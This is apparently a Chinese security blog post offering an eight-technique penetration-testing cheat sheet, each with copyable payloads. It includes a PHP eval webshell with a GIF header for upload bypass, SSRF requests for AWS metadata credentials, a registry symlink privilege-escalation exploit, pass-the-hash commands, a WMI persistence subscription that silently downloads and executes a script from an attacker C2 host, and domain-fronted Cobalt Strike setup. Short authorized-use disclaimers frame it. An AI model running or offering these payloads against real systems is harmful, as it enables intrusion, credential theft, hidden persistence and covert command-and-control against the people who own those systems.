在渗透测试实战中,最让人头疼的往往不是找不到漏洞,而是明明知道有办法却死活想不起来那个命令怎么写、那个 payload 怎么拼。本文整理了 8 个在实战中反复用到、但总是需要翻笔记的技巧,每个都附了可以直接复制的 payload,建议收藏备用。
⚠️免责声明:本文仅用于授权渗透测试场景,请在合法授权范围内使用相关技术。未经授权的渗透测试行为属于违法行为。
一、GitHub 信息泄露:搜出硬编码密码
很多开发团队会把配置文件不小心推到公开仓库。不需要什么高级工具,GitHub 搜索本身就是一把利器。
搜索语法
plaintext
# 搜索目标域名相关的硬编码密钥 site:github.com "目标公司名" password OR secret OR api_key OR token # 更精准的搜索,直接找配置文件 site:github.com "目标公司名" filename:config OR filename:.env OR filename:application.yml # 找数据库连接字符串 site:github.com "目标公司名" "mysql://" OR "postgres://" OR "mongodb://"实战要点
找到凭证后不要急着用,先确认一下是否还在生效(有时候密码已经轮换了),再用这个凭证去尝试登录相关系统。实际测试中,这个方法的成功率比你想象的要高得多。
二、SSRF 打穿云元数据,窃取云凭证
碰到 SSRF 漏洞的时候,大多数人只想到探测内网端口。但在云环境里,SSRF 的真正价值是窃取云服务凭证。
AWS 元数据窃取
IMDSv1 方式:
plaintext
http://169.254.169.254/latest/meta-data/iam/security-credentials/IMDSv2 方式(需先获取 token):
bash
# 第一步:获取token curl -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" # 第二步:用token请求元数据 curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/其他云厂商元数据地址
表格
| 云厂商 | 元数据地址 |
|---|---|
| 阿里云 | http://100.100.100.200/latest/meta-data/ |
| 腾讯云 | http://metadata.tencentyun.com/latest/meta-data/ |
拿到 IAM 角色的临时凭证后,直接用 aws cli 操作目标云账号。这个打法的回报率极高,往往一个 SSRF 就能打穿整个云环境。
三、文件上传绕过三板斧
遇到文件上传功能,按这三步走,能过 90% 的过滤。
第一步:后缀名变形
plaintext
shell.php → shell.phtml / shell.php5 / shell.Php / shell.php.jpg常见绕过思路:
- 大小写绕过:
shell.Php、shell.pHp - 特殊后缀:
.phtml、.php5、.php7、.phar - 双后缀:
shell.php.jpg、shell.jpg.php
第二步:文件头伪造
在 webshell 前面加个 GIF 文件头,绕过只检查 magic bytes 的过滤:
php
运行
GIF89a<?php @eval($_POST['cmd']); ?>第三步:Nginx 解析漏洞利用
如果目标用的是 Nginx,上传文件名为shell.jpg,然后访问:
plaintext
/uploads/shell.jpg/x.phpNginx 会把x.php当作 PHP 解析(前提是配置了cgi.fix_pathinfo=1)。
💡技巧总结:三招组合起来,基本能覆盖大部分上传场景。实战中建议从易到难依次尝试。
四、Linux 提权一键排查
拿到一个低权限 shell 后,别急着用 exp,先跑一遍信息收集,往往有意想不到的收获。
一键信息收集脚本
bash
echo "=== 系统信息 ===" && uname -a echo "=== SUID文件 ===" && find / -perm -4000 -type f 2>/dev/null echo "=== Sudo配置 ===" && sudo -l 2>/dev/null echo "=== 可写的cron ===" && find /etc/cron* -writable 2>/dev/null echo "=== 敏感配置文件权限 ===" && ls -la /etc/passwd /etc/shadow 2>/dev/null echo "=== 运行中的服务 ===" && ps aux | grep root echo "=== 环境变量中的密码 ===" && env | grep -i pass重点关注项
表格
| 检查项 | 利用思路 |
|---|---|
| SUID 文件 | 如果有find、vim、nmap等,直接去 GTFOBins 查提权命令 |
| sudo -l | 看有没有 NOPASSWD 的配置,或者可以利用的指令 |
| /etc/passwd 可写 | 直接往里加一个 uid=0 的用户 |
| 内核版本 | uname -a拿到内核版本后,去 exploit-db 搜对应的 exp |
五、Windows 注册表竞争条件提权(CVE-2026-24291)
这是 2026 年的新洞,利用 ATBroker 服务的注册表符号链接竞争条件,思路非常巧妙。
利用步骤
cmd
:: 第一步:在HKCU下创建符号链接,指向系统服务注册表项 reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig" /ve /d "\\?\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\msiserver" /f :: 第二步:触发竞争条件(锁定工作站触发ATBroker同步配置) rundll32.exe user32.dll,LockWorkStation :: 第三步:等待锁屏同步完成后解锁,验证权限 whoami原理分析
ATBroker 在锁屏时会把 HKCU 的配置同步到 HKLM,但不会验证符号链接的目标。我们提前在 HKCU 下埋好符号链接,同步时就会把恶意数据写入系统服务配置。此时 msiserver 服务的 ImagePath 已被篡改,重启服务即可以 SYSTEM 权限执行任意命令。
六、内网横向移动:Pass-the-Hash 一把梭
拿到了一台机器的 NTLM 哈希,不需要解密,直接带着哈希去访问其他机器。
用 impacket 套件执行 PTH 攻击
bash
# 在目标机器上执行命令 impacket-psexec -hashes :<NTLM_HASH> administrator@192.168.1.100 # 用CrackMapExec批量扫描,看这个哈希能登录哪些机器 crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM_HASH> --shares # 如果是域环境,直接拿域管的哈希打域控 impacket-wmiexec -hashes :<NTLM_HASH> domain_admin@dc01.corp.local实战要点
哈希传递的核心优势是:哈希不用解密,直接传递。很多内网环境密码复杂度很高,但密码复用率极高,一个哈希打遍全网是常有的事。
七、WMI 无文件持久化
拿到权限后想留后门,但怕被杀毒软件查杀?WMI 事件订阅可以做到完全不落地。
完整利用代码
powershell
# 创建WMI事件过滤器(每5分钟触发一次) $filter = Set-WmiInstance -Class __EventFilter ` -Namespace "root\subscription" ` -Arguments @{ Name="SystemHealthCheck"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300" } # 创建事件消费者(执行命令) $consumer = Set-WmiInstance -Class CommandLineEventConsumer ` -Namespace "root\subscription" ` -Arguments @{ Name="HealthCheckAction"; CommandLineTemplate="powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://your-c2.com/payload.ps1')" } # 绑定过滤器和消费者 Set-WmiInstance -Class __FilterToConsumerBinding ` -Namespace "root\subscription" ` -Arguments @{Filter=$filter; Consumer=$consumer}技术特点
这套操作全程在内存和 WMI 仓库中完成,磁盘上没有任何恶意文件。常规杀毒扫描基本查不到,除非安全人员专门检查 WMI 订阅。隐蔽性极强。
八、域前置技术:隐蔽 C2 通道
传统 C2 通道容易被防火墙和流量分析设备识别。用域前置技术,让你的 C2 流量混在合法云服务流量里。
原理示意
plaintext
你的流量 → Cloudflare/Azure CDN → 你的真实C2服务器配置方法(以 Cloudflare 为例)
- 在 Cloudflare 上设置一个 Workers,按 Host 头分流
- 如果 Host 是
cdn.legitimate-site.com→ 返回正常 CDN 内容 - 如果 Host 是
c2.your-domain.com→ 转发到你的真实 C2
Cobalt Strike 配置
plaintext
Host: cdn.legitimate-site.com (给防御者看的) 实际流量通过Cloudflare Worker路由到你的C2流量分析设备看到的是访问 Cloudflare 的正常 HTTPS 流量,不会拦截。你的真实 C2 IP 永远不会暴露。
总结
渗透测试的核心从来不是工具,是思路。上面这些技巧单拿出来都不复杂,关键是知道 "什么时候该想到用它"。
建议把这篇文章当速查手册用 —— 下次打渗透卡住了,回来翻一翻,说不定就能找到突破口。
8 个技巧速查表:
表格
| 序号 | 技巧名称 | 适用场景 |
|---|---|---|
| 1 | GitHub 硬编码搜索 | 信息收集阶段 |
| 2 | SSRF 云元数据窃取 | 云环境 SSRF 漏洞 |
| 3 | 文件上传绕过三板斧 | 文件上传漏洞 |
| 4 | Linux 提权一键排查 | Linux 权限提升 |
| 5 | Windows 注册表竞争提权 | Windows 权限提升 |
| 6 | Pass-the-Hash 横向移动 | 内网横向渗透 |
| 7 | WMI 无文件持久化 | 权限维持 |
| 8 | 域前置隐蔽 C2 | C2 通信隐蔽 |
⚠️再次提醒:本文仅用于授权渗透测试场景,请在合法授权范围内使用相关技术。遵守法律法规,做合规的安全从业者。